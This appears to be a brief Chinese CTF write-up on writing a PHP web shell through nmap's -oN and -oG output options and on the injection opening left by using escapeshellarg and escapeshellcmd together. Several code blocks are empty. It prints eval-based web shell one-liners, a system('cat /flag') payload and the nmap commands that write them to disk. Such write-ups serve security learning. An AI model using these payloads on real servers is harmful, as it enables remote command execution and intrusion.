通过nmap -oN -oG 参数 写马
1 | if (isset($_POST['host'])): |
拿到flag
payload
过滤了php 关键字
1 | 第一种 |
1 | ?a=system("cat /flag"); |
两个知识点
Nmap 通过 -oG -oN 参数写 shell
1 | > nmap 127.0.0.1 -p 0-1 "<?php eval($_GET['cmd']);?>" -oN cmd.php |
生成的文件会将 "<?php eval($_GET['cmd']);?>"
和 扫描的结果 一起写入cmd.php文件中 ,
1 | nmap 127.0.0.1 -p 0-1 "<?php eval($_POST['cmd']);?>" -oG cmd.php |
1 | nmap 127.0.0.1 -p 0-1 "<?php eval($_POST['cmd']);?>" -oG cmd.php |
顺便说一下,nmap的其他参数 ,比如-oX,也会创建文件,但是符合会被替换成html字符,想这样 <?php eval($_POST['cmd']);?>
,也就是说只有两种参数能用。
sescapeshellarg和escapeshellcmd 同时使用照成的问题
1 |
|
直接将 '
转义成了 '\''
1 |
|
将 '
转义成了 \'
最后将两个函数同时使用
1 |
|
这里的问题就很明显了,两个函数同时使用,会照成某些字符串逃逸。
1 |
|